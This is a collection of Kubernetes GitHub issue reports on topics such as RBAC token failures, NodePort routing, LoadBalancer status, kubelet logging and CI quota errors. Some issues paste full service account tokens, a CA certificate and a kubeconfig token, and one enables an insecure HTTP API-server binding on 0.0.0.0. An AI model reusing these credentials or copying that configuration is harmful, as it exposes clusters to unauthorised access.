is this a bug report or feature request?  :\r tech debt \r \r  \r   description  :\r \r when working on  46948 , i try to move  kubernetes.io/hostname  into  pkg/api  to make scheduler dependent on api instead of kubelet.\r \r but how about the others?\r \r   if we move all shared const vars into api, component contributors may request pr cross components\r   if not, spread const vars in diferent component, maybe duplicated\r \r 

is this a bug report or feature request?  : feature request\r   \r   what happened  :\r i want to move  $home/.kube  dir to another place, but i feel it's little troublesome because several configs must be set up.\r \r   what you expected to happen  :\r something like  --home-dir  option or  kube_home  environment path can change the default places of schema, cache and config.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.0\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : ubuntu gnome 17.04\r - kernel  e.g.  uname -a  : linux 4.10.0-30-generic\r - install tools: linuxbrew\r - others:\r \r thanks!

i've noticed that for many simple logical loop behaviors having a pod that runs to completion, exits, and is restarted  after some sleep interval  is a pretty normal sanity check / reconciliation loop.  i.e.:\r \r    \r kind: pod\r spec:\r   restartpolicy: always\r   containers:\r   - name: do-something\r      image: centos:7\r      command:\r      - /bin/bash\r      - -c\r      - |\r         !/bin/bash\r          run some stuff, exit if failure\r        sleep 60\r          exit with success\r    \r \r this works pretty well for things like config appliers, host checks, sanity checking, etc.  \r \r i kind of expected to be able to use  activedeadlineseconds  with a restartpolicy=always flag.  derek remembers us having this originally and maybe changing it later.  we've discussed in sig-auth being able to use this to upper bound how long a pod can run with a specific set of credentials  to prevent containers from running for unbounded duration, or to actually use the activedeadlineseconds as the service account token expiration .\r \r i don't think we have a really concrete reason not to allow activedeadlineseconds.  right now fails with \r \r    \r the statefulset \ application-liveness\  is invalid: spec.spec.activedeadlineseconds: invalid value: 300: must not be specified\r    \r \r  which also has a bug in doubling up spec - should be  spec.template.spec.activedeadlineseconds  \r \r 1.9 @derekwaynecarr @kubernetes/sig-apps-feature-requests  @kubernetes/sig-node-feature-requests

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r as mentioned in  issue  10775 of the website repository  https://github.com/kubernetes/website/issues/10775 , the markdown links for the documentation are generated with brackets in the wrong location. as a result all links which do not have hash    at as postfix, result in 404 when navigating to.\r i'm also looking for guidance on whether should treat this issue or the referred one as a cross-post.\r \r   what you expected to happen  :\r documentation should generate markdown valid links.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run docs generation and try to navigate from a browser with a link that does not include a hash such as the one in kubectl get describing usage of jsonpath template\r \r   anything else we need to know?  :\r this is an issue with the currently deployed documentation\r \r @kubernetes/sig-docs-bugs\r @kubernetes/sig-cli-bugs\r \r   environment  :\r - kubernetes version  use  kubectl version  : 11\r - cloud provider or hardware configuration: any\r - os  e.g. from /etc/os-release : any\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r sample api server log:\r    \r i1206 19:53:40.714834   63361 round_trippers.go:405  get https:// ::1 :8443/apis/wardle.k8s.io/v1beta1/fischers?limit=500&resourceversion=0 404 not found in 1 milliseconds\r i1206 19:53:40.714855   63361 round_trippers.go:411  response headers:\r i1206 19:53:40.714864   63361 round_trippers.go:414      content-type: application/json\r i1206 19:53:40.714870   63361 round_trippers.go:414      content-length: 174\r i1206 19:53:40.714876   63361 round_trippers.go:414      date: thu, 06 dec 2018 11:53:40 gmt\r i1206 19:53:40.714906   63361 request.go:942  response body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ the server could not find the requested resource\ ,\ reason\ :\ notfound\ ,\ details\ :{},\ code\ :404}\r e1206 19:53:40.715003   63361 reflector.go:134  k8s.io/sample-apiserver/pkg/client/informers/internalversion/factory.go:117: failed to list  wardle.fischer: the server could not find the requested resource\r    \r registry:\r    \r \tv1alpha1storage \ flunders\   = wardleregistry.restinpeace flunderstorage.newrest scheme, c.genericconfig.restoptionsgetter  \r \tv1alpha1storage \ fischers\   = wardleregistry.restinpeace fischerstorage.newrest scheme, c.genericconfig.restoptionsgetter  \r \tapigroupinfo.versionedresourcesstoragemap \ v1alpha1\   = v1alpha1storage\r \r \tv1beta1storage := map string rest.storage{}\r \tv1beta1storage \ flunders\   = wardleregistry.restinpeace flunderstorage.newrest scheme, c.genericconfig.restoptionsgetter  \r \tapigroupinfo.versionedresourcesstoragemap \ v1beta1\   = v1beta1storage\r     \r \r it seems that the internalversion's informer list watch v1beta1 fischers api, but the fischers only have the v1alpha1 api in sample apiserver. where determine which version of the api the internalversion informer calls? another questions is    admit a admission.attributes      access attributes，can we directly use versioned informer？\r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

i used kubeadm to set up a kubernetes.\r \r i used a yaml file to create serviceaccount, role and rolebindings to the serviceaccount.\r \r then i curl the pods in the default namespace, the kubernetes always returns \ unauthorized\ \r \r i checked the  --service-account-key-file=/etc/kubernetes/pki/sa.pub  and   --service-account-private-key-file=/etc/kubernetes/pki/sa.key , they have already set as parameters of apiserver and controller manager.\r \r the yaml file is like below:\r    \r kind: role\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   namespace: default\r   name: pod-reader\r rules:\r - apigroups:  \ \  \r   resources:  \ pods\  \r   verbs:  \ get\ , \ watch\ , \ list\  \r ---\r apiversion: v1\r kind: serviceaccount\r metadata:\r   name: pzhang-test\r   namespace: default\r ---\r kind: rolebinding\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: read-pods\r   namespace: default\r subjects:\r - kind: serviceaccount\r   name:  pzhang-test\r roleref:\r   kind: role\r   name: pod-reader\r   apigroup: rbac.authorization.k8s.io\r    \r the secrets and token like below:\r    \r root@robota:~  kubectl get secrets\r name                      type                                  data   age\r default-token-9kg87       kubernetes.io/service-account-token   3      2d6h\r pzhang-test-token-wz9zj   kubernetes.io/service-account-token   3      29m\r root@robota:~  kubectl get secrets pzhang-test-token-wz9zj -o yaml\r apiversion: v1\r data:\r   ca.crt: ls0tls1crudjtibdrvjusuzjq0furs0tls0tck1jsun5rendqwjdz0f3sujbz0lcqurbtkjna3foa2lhoxcwqkfrc0zbrefwtvjnd0vrwurwuvferxdwcmrxsmwky201bgrhvnpnqjryrfrfnu1etxloekf6tkrjd04xb1hevek1turneu5eqxporgn3tjfvd0zurvrnqkvhqtfvrqpbee1lytnwavpysnvawfjsy3pdq0ftsxdeuvlks29aswh2y05buuvcqlfbrgdnrvbbrendqvfvq2dnrujbtfphckuxajjaqnbrdzhssmrra2ldsli1n1j6n0lxendudmtvnvluk1bnexhqzm5nujjxawv3m3f0qwzedi9oowi3ouckn1dtrffcwg9qcmfkqjnsttrovhhtnktcqlg1slf6k2jvqknhtg5hzmdqceruehc3t082vjjly1crs2k5zhloeapdq1rtntvbrwc3otrkl3r1lzbvcdhlujhhadlmds8zevnrdk0zuzfsrw02c21ysmvqnvazrghdbuvdt1rntha1ckzqsstuwfnnts83cwpyd0n4wjuyzfzsr3u0y0nyzvrtwlbsm1r0uzhuu3luz2zin1nvm1dybfzvqvixcxvpdnikb2xqtmllbefbr1liadnumtjwt01hmuloakrunvvrdem5twjyedzorfc5zkxwntfktet4bnn5dutsdkrxvdvowqpwsde5utvvbdjravpnzzl0k2y4q0f3rufbyu1qtunfd0rnwurwujbqqvfil0jbuurbz0trtue4r0exvwrfd0vcci93uuznqu1cqwy4d0rrwuplb1pjahzjtkfrruxcuufez2dfqkfhb2rnl0ozmuhrqkvozvnrdef4ds9wru43nmqkz1k2ng5artddqtzjy2pxaejbnmlpblh3s0e1q0juvevxs05qvedwtg5kwvd4wdlwve9jzkhwtkrot3rdv0n4napdn3jmwjzkrdjrugs2uuvyseg3mxj4cudks21wbfj0uytroc9ndhaznmxfve5ltuc5vxi1runuwdg0dvz5duvicnrwwlrucnzpqmndszayq2rsn3q0v3pmb0fpsufkz1ztd0xxvgvidktrr1orm1jxowflu2zwwnpszdhrqlzzvzkkn1mvyxu1c3niehiwvg85zstrylhqndl5azjju2hka1y2m3jotjn4sezbehdzuuvzytnmz1zgwflhytjfwhdwdwplbxruzmhoqwe0ujd5dw5sdkirdndac3zwbhc2rmhqqldhvtlpqna3au9vu0zwvmnlmultuks3vkrqbz0kls0tls1ftkqgq0vsvelgsunbveutls0tlqo=\r   namespace: zgvmyxvsda==\r   token: zxlkagjhy2lpauptvxpjmu5psxnjbxrwwknjnklpsjkuzxlkcgmztwlpaupyzfdkbgntnwxkr1z6tdnobgnuwnbzmlzowtjodmrxntbjaxdpytnwavpysnvawfjsy3k1cgj5oxpaweoyyvdobflxtmpim1z1zem5dvlxmwxjm0jowtjvau9psmtav1pozfd4melpd2lhm1zpwlhkdvpyumxjetvwynk5elpysjjhv05swvdoamizvnvkqzl6wldoevpyuxvibuz0wlnjnkluqjzhr0z1wnkxmfpytjbmwfj2ytjwduxyzdzpwhbxswl3awezvmlawep1wlhsbgn5nxbietl6wlhkmmfxtmxzv05qyjnwdwrdoxpaweoyyvdobexxrmpzmjkxym5rdwjtrnrau0k2sw5cnmfhrnvaetewwlhomelpd2lhm1zpwlhkdvpyumxjetvwynk5elpysjjhv05swvdoamizvnvkqzl6wlhkmmfxtmxmv0zqwti5mwjuuxvkv2xrswpvavlurtnpr1f3t1rrde5usxdzatb4tvdvnuxua3lnmlf0turbd1l6stvzbvjrtlrbmklpd2ljm1zpswpvawmzbhpkr1z0t25obgnuwnbzmlzowtjodmrxntbpbvjswm1gmwjiutzjshbvwvc1bkxyumxjm1fpzleubnnly1lptjjkruiwlvvsdxfjnm1tqvjlohbsrgles01stxjvrhc5sthiu24wne9qd0jvuzdhsdrsnjlsq19smdfnnup0rm9ocvfswjlhogjbnw81mmsxavplmhzjzneznvkzdwnwef95rdldt2prz0xcu2k1mxgycuturke5eu15quroatfzn2ttt2d0verdrvpms1l3me1vsjgtquzpcxjkvndfzu15a2ngu3zpywveqtrynjfcnzhxywpycuttbxdftun1xzzvag4wdkloa3pqbhblags5anrlb0jvmfdgx0c3b1rzzxjvotrusgncwkywekrqcepxtzlevlc1a1b0mm1fem1newjoevbfntbvs0nkmtb4ngf4uzlidxlwotz4szv0nmnzzvnrqkx4bmveb19wnzlyulnxx1flwfzcwm1uawi1rhlzuhzxsgdsrfjimg5b\r kind: secret\r metadata:\r   annotations:\r     kubernetes.io/service-account.name: pzhang-test\r     kubernetes.io/service-account.uid: a178d099-520b-11e9-923d-000c29bdd506\r   creationtimestamp: \ 2019-03-29t10:15:51z\ \r   name: pzhang-test-token-wz9zj\r   namespace: default\r   resourceversion: \ 77488\ \r   selflink: /api/v1/namespaces/default/secrets/pzhang-test-token-wz9zj\r   uid: a179dae0-520b-11e9-923d-000c29bdd506\r type: kubernetes.io/service-account-token\r    \r \r the token is:\r    \r root@robota:~  echo $token\r zxlkagjhy2lpauptvxpjmu5psxnjbxrwwknjnklpsjkuzxlkcgmztwlpaupyzfdkbgntnwxkr1z6tdnobgnuwnbzmlzowtjodmrxntbjaxdpytnwavpysnvawfjsy3k1cgj5oxpaweoyyvdobflxtmpim1z1zem5dvlxmwxjm0jowtjvau9psmtav1pozfd4melpd2lhm1zpwlhkdvpyumxjetvwynk5elpysjjhv05swvdoamizvnvkqzl6wldoevpyuxvibuz0wlnjnkluqjzhr0z1wnkxmfpytjbmwfj2ytjwduxyzdzpwhbxswl3awezvmlawep1wlhsbgn5nxbietl6wlhkmmfxtmxzv05qyjnwdwrdoxpaweoyyvdobexxrmpzmjkxym5rdwjtrnrau0k2sw5cnmfhrnvaetewwlhomelpd2lhm1zpwlhkdvpyumxjetvwynk5elpysjjhv05swvdoamizvnvkqzl6wlhkmmfxtmxmv0zqwti5mwjuuxvkv2xrswpvavlurtnpr1f3t1rrde5usxdzatb4tvdvnuxua3lnmlf0turbd1l6stvzbvjrtlrbmklpd2ljm1zpswpvawmzbhpkr1z0t25obgnuwnbzmlzowtjodmrxntbpbvjswm1gmwjiutzjshbvwvc1bkxyumxjm1fpzleubnnly1lptjjkruiwlvvsdxfjnm1tqvjlohbsrgles01stxjvrhc5sthiu24wne9qd0jvuzdhsdrsnjlsq19smdfnnup0rm9ocvfswjlhogjbnw81mmsxavplmhzjzneznvkzdwnwef95rdldt2prz0xcu2k1mxgycuturke5eu15quroatfzn2ttt2d0verdrvpms1l3me1vsjgtquzpcxjkvndfzu15a2ngu3zpywveqtrynjfcnzhxywpycuttbxdftun1xzzvag4wdkloa3pqbhblags5anrlb0jvmfdgx0c3b1rzzxjvotrusgncwkywekrqcepxtzlevlc1a1b0mm1fem1newjoevbfntbvs0nkmtb4ngf4uzlidxlwotz4szv0nmnzzvnrqkx4bmveb19wnzlyulnxx1flwfzcwm1uawi1rhlzuhzxsgdsrfjimg5b\r    \r \r i use this command:\r \r    \r root@robota:~  curl --cacert ./ca.crt  --header \ authorization: bearer $token\   https://192.16.208.142:6443/api/v1/namespaces/default/pods\r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r \r   },\r   \ status\ : \ failure\ ,\r   \ message\ : \ unauthorized\ ,\r   \ reason\ : \ unauthorized\ ,\r   \ code\ : 401\r }\r as you can see the curl returns:\r \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r \r   },\r   \ status\ : \ failure\ ,\r   \ message\ : \ unauthorized\ ,\r   \ reason\ : \ unauthorized\ ,\r   \ code\ : 401\r }\r    \r i expected the output to be a list of the pods in my default namespace\r    \r root@robota:~  kubectl get pods -n default\r name                        ready   status    restarts   age\r my-nginx-64fc468bd4-8fq6j   1/1     running   0          2d6h\r my-nginx-64fc468bd4-ffkhb   1/1     running   0          2d6h\r    \r \r i checked the apiserver log it shows error as below:\r    \r e0329 12:09:00.363165       1 authentication.go:65  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, invalid bearer token  \r    \r \r  \r auth\r --\r \r \r

in production, we need multiple schedule policies to meet the requirements of different pods. for instance, some pods may prefer a schedule policy in which servicespreading is considered to be import, while some other pods just want themselves to be deployed on the nodes with more free resources regardless of the servicespreading. to meet these \ conflict\  requirement, different schedule policies should be allowed when kube-scheduler is up.  how should we do this?   an initial discussion at https://groups.google.com/forum/ !topic/google-containers/wyn8dnxq6xi.

$ kubectl config view --minify apiversion: v1 clusters: - cluster:     certificate-authority-data: redacted     server: https://173.255.113.219   name: kubernetes-satnam_e2e-test-satnam contexts: - context:     cluster: kubernetes-satnam_e2e-test-satnam     user: kubernetes-satnam_e2e-test-satnam   name: kubernetes-satnam_e2e-test-satnam current-context: kubernetes-satnam_e2e-test-satnam kind: config preferences: {} users: - name: kubernetes-satnam_e2e-test-satnam   user:     client-certificate-data: redacted     client-key-data: redacted     token: lsue2z4cxqa61uqqq2qwggf7noslw9np

at least on aws  i.e. systemd , after a reboot kube-addons.sh just keeps retrying to recreate things that have already been created.  it also launches multiple copies  10 or so? .  i don't know about the resource utilization, but the syslog spam is pretty annoying.  we should probably run this in a systemd cronjob, or figure out something similar.

i am trying to access a service from outside the cluster. the cluster has 3 nodes 1  x.y.z.105,  2  x.y.z.54, 3  x.y.z.57. both 54 and 57 are cluster nodes and 105 is used as both master and node.  created a service  which exposes node-port 30822. i have created a pod single container tomcat pod  using a rc. the rc creates only one pod replica in a node, lets's say in 54.  now i am able to curl http://x.y.z.54:30822, but cannot curl http://x.y.z.57:30822 or http://x.y.z.105:30822, both gives error messages like, e0308 12:06:14.968642   28933 proxysocket.go:104  dial failed: dial tcp 172.17.0.5:8080: connection refused e0308 12:06:14.969581   28933 proxysocket.go:138  failed to connect to balancer: failed to connect to an endpoint. curl:  56  recv failure: connection reset by peer    service json def:    {     \ kind\ : \ service\ ,     \ apiversion\ : \ v1\ ,     \ metadata\ : {         \ name\ : \ tomcat-master\      },     \ spec\ : {         \ type\ : \ nodeport\ ,         \ selector\ : {             \ app\ : \ tomcat-web\          },         \ ports\ :               {                 \ name\ : \ kube-tomcat\ ,                 \ protocol\ : \ tcp\ ,                 \ port\ : 9092,                 \ targetport\ : 8080             }               } }    service description command result:   name:                   tomcat-master namespace:           default labels:                  <none> selector:                app=tomcat-web type:                     nodeport ip:                         10.100.229.247 port:                       kube-tomcat  9092/tcp nodeport:               kube-tomcat  30822/tcp endpoints:              172.17.0.5:8080 session affinity:      none no events.    rc yaml def:    apiversion: v1 kind: replicationcontroller metadata:   name: tomcat-replication-controller spec:   replicas: 1   selector:     app: tomcat-web   template:     metadata:       labels:         app: tomcat-web     spec:       containers:       - name: tomcat         image: tomcat         ports:         - containerport: 8080    for your information   :while running kube-proxy in every node i am getting a common error,   command:   ./kube-proxy --master=10.242.138.105:8080 --bind-address=0.0.0.0 &   result:   try  iptables -h' or 'iptables --help' for more information. e0308 12:00:06.415707   28933 proxier.go:197  error removing pure-iptables proxy rule: error checking rule: exit status 2: iptables v1.4.21: couldn't load target kube-services':no such file or directory

i've set up kubernetes v1.2.4   also tried v1.3.0-beta.2  on aws according to http://kubernetes.io/docs/getting-started-guides/aws/. then i changed on master node configuration of kube-apiserver to be able to access it via http by adding to   /etc/kubernetes/manifests/kube-apiserver.manifest :      --cors-allowed-origins=.   --insecure-bind-address=0.0.0.0  --insecure-port=8888       after this changes i can make requests via http, but a few minutes later server stops responding and i see in  kube-apiserver.log  exceptions like this:      i0628 19:38:18.459293       7 handlers.go:152  get /api/v1/watch/services?resourceversion=50104&timeoutseconds=378:  611.892µs  410 goroutine 349  running : k8s.io/kubernetes/pkg/httplog.  resplogger .recordstatus 0xc209296150, 0x19a          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:214 +0xa6 k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc209296150, 0x19a          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:193 +0x32 k8s.io/kubernetes/pkg/apiserver/metrics.  responsewriterdelegator .writeheader 0xc208d5bbc0, 0x19a          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:117 +0x53 k8s.io/kubernetes/pkg/apiserver.writenegotiated 0x7f5b6e2cf368, 0xc2083e13e0, 0x0, 0x0, 0x1d4da80, 0x2, 0x7f5b6e1246d8, 0xc2085ebf28, 0xc2092420d0, 0x19a, ...          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:429 +0x174 k8s.io/kubernetes/pkg/apiserver.errornegotiated 0x7f5b6e2c27b8, 0xc209298180, 0x7f5b6e2cf368, 0xc2083e13e0, 0x0, 0x0, 0x1d4da80, 0x2, 0x7f5b6e1246d8, 0xc2085ebf28, ...          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:441 +0xdd k8s.io/kubernetes/pkg/apiserver.  requestscope .err 0xc2085244e0, 0x7f5b6e2c27b8, 0xc209298180, 0x7f5b6e1246d8, 0xc2085ebf28, 0xc2092420d0          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:84 +0x11f k8s.io/kubernetes/pkg/apiserver.func·027 0xc208d5bb30, 0xc20923f6e0          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:295 +0x1055 k8s.io/kubernetes/pkg/apiserver/metrics.func·001 0xc208d5bb30, 0xc20923f6e0          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:101 +0x269 github.com/emicklei/go-restful.  container .dispatch 0xc2083dcc60, 0x7f5b6e124380, 0xc209296150, 0xc2092420d0          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:249 +0xf5e github.com/emicklei/go-restful. container. github.com/emicklei/go-re   kubelet/v1.2.4  linux/amd64  kubernetes/3eed1e3  172.20.0.184:56673       logs are for v1.2.4.  but a few minutes later when kube-apiserver restarted, i can get responses again for a minute, and the same outage repeats again. the instance cpu load is less then 10%.

if you create a loadbalancer service, then modify its type to clusterip, it will continue reporting the old lb ip for ~5m in status  in the normal case, with errors it could take longer . kubectl will smartly hide the status field, so the user doesn't know service.ingress.loadbalancerip is still set. \r \r during this time if the user flips it back to type=loadbalancer, kubectl will once again show the old ip in status.ingress.loadbalancerip. that ip is almost guaranteed to change when the service controller creates the  second  forwarding-rule for the service. \r \r we should be smarter about this. if we flip in and out of type=loadbalancer, we shold clear status.ip. if we need to track it for cleanup, we should probably create a  stalestatusip  field. we should never report someone elses ip in loadbalancer status, and that's bound to happen if we do what's described, because cloudproviders cycles ips real fast. \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r  kube-down missing \r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request / friction log\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 7738f41b958bd8a8018333b9c3eb86c563e1ee1a\r \r   environment  :\r -   cloud provider or hardware configuration  :\r gce\r -   os    e.g. from /etc/os-release :\r os x\r -   kernel    e.g.  uname -a  :\r darwin\r -   install tools  :\r ./cluster/kube-down.sh\r -   others  :\r n/a\r \r \r   what happened  :\r i had spun up a cluster using a downloaded release  1.6.0-alpha.1 , run some tests on it, and wanted to tear down the cluster. i had spun up the cluster from a directory inside the downloaded release, but tried to tear it down from the root directory of my local git repo. i was surprised to see that you can't tear down a cluster without the server binaries, salt config, and manifests  output below . i'm not sure why any of these should be needed to tear down a cluster. it wasn't a big deal since i still had the downloaded release around, but if i had deleted it i'd be pretty annoyed at having to re-download it or build it locally just to delete my cluster. \r \r    console\r $ ./cluster/kube-down.sh\r bringing down cluster using provider: gce\r !!! cannot find kubernetes-server-linux-amd64.tar.gz\r !!! cannot find kubernetes-salt.tar.gz\r !!! cannot find kubernetes-manifests.tar.gz\r required binaries appear to be missing. do you wish to download them?  y/n \r

it would be awesome if the cloud provider had an api to do this for us.  as an example, in  42361 the problem was clear from the logfile once you knew what to look for:  e0301 19:52:56.567418       5 servicecontroller.go:772  failed to process service. retrying in 5s: failed to create load balancer for service e2e-tests-service-upgrade-jt75x/service-test: failed to create forwarding rule a4b2a6798feb511e6bdea42010af0000: googleapi: error 403: quota 'forwarding_rules' exceeded. limit: 15.0, quotaexceeded , but that could take a lot of time.\r \r enumerating these failures automatically would make debugging very easy.\r \r @kubernetes/sig-testing-bugs

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r head\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r i start kubelet with flag  --pod-manifest-path  and want to put a pod config file there. but accidentally i copy a big binary file there, then the shell goes crazy! it goes on printing messy codes on and on because kubelet is trying to log the file content.\r \r   what you expected to happen  :\r we shouldn't log the config file content when it's invalid. don't print messy codes and tell me the config file is invalid.\r \r   how to reproduce it    as minimally and precisely as possible :\r see what happened.\r \r   anything else we need to know  :\r i think we should\r - just accept text/plain config file\r - not log config file content when it's invalid, just log an error is enough.\r \r will send a pr to fix it.\r

failure cluster  f06eea19da5bba917654  https://go.k8s.io/triage f06eea19da5bba917654        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:790 expected error:     < errors.errorstring | 0xc420d73910>: {         s: \ static ip \\\ e2e-external-lb-test-4f43e2ec-47c0-11e7-b739-0242ac110002\\\  could not be reserved: created  https://www.googleapis.com/compute/v1/projects/k8s-jkns-e2e-gci-gke-prerel/regions/us-central1/addresses/e2e-external-lb-test-4f43e2ec-47c0-11e7-b739-0242ac110002 .\ \ ,     }     static ip \ e2e-external-lb-test-4f43e2ec-47c0-11e7-b739-0242ac110002\  could not be reserved: created  https://www.googleapis.com/compute/v1/projects/k8s-jkns-e2e-gci-gke-prerel/regions/us-central1/addresses/e2e-external-lb-test-4f43e2ec-47c0-11e7-b739-0242ac110002 .      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:559           failure cluster statistics: 1 tests failed,    63 jobs failed,    127 builds failed. failure stats cover 1 day time range '2 jun 2017 20:57 utc' to '3 jun 2017 20:57 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  services should be able to change the type and ports of a service  slow  | 63 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-slow-release-1.5 | 7 |  3 jun 2017 19:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow-release-1.5/6868  | | ci-kubernetes-e2e-gci-gke-slow-release-1.6 | 7 |  3 jun 2017 19:54 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow-release-1.6/3257  | | ci-kubernetes-e2e-gci-gke-slow | 6 |  3 jun 2017 19:39 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/6735  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | bprashanth |  k8s.io  services should be able to change the type and ports of a service  slow  | | sig/network |  k8s.io  services should be able to change the type and ports of a service  slow  |  </details><br>   current status  https://go.k8s.io/triage f06eea19da5bba917654

the ~5 most recent builds failed because of this issue.\r https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-gce-etcd3\r \r    \r w0612 12:52:57.395  error:  gcloud.compute.networks.create  could not fetch resource:\r w0612 12:52:57.396   - quota 'subnetworks' exceeded.  limit: 150.0\r    \r \r /cc @kubernetes/sig-testing-bugs @kubernetes/sig-network-bugs based on the similar issue from ~2 weeks ago  46713

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r right now, there are no constants defined for well-known clusterroles and clusterrolebindings like  system:node-proxier ,  system:node-bootstrapper , etc.\r \r it would be really helpful for consumers like kubeadm etc. to be able to source these consts from a pkg with no other deps.\r \r cc @kubernetes/sig-auth-feature-requests @kubernetes/sig-cluster-lifecycle-feature-requests @timothysc

feature request  : enable the apps/v1beta2 group version for integration prior to 1.8 release.\r \r

in kubernetes 1.8, we added the support to let kubelet get container stats from cri.\r \r however, it's not clearly defined whether stats should be returned for non-running container.\r \r today's situation:\r 1  cadvisor integration: it removes stats for terminated containers  containers without cpu/memory usage  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/stats/cadvisor_stats_provider.go l93;\r 2  cri stats integration: it shows all container stats got from container runtime. it does include stats for terminated container if container runtime returns terminated container stats.\r \r we should:\r 1  clearly define the behavior of summary api in this case.\r 2  if stats for terminated containers are not required, we should either update kubelet to filter them out, or define in cri that cri stats should not include stats with zero memory/cpu usage;\r 3  if stats for terminated containers are required, we should update kubelet to properly consume it.\r \r for now, i'll just skip stats with zero memory or cpu usage in cri-containerd.\r \r @timstclair @yujuhong @yguo0905 @dashpole @feiskyer \r /cc @kubernetes/sig-node-api-reviews

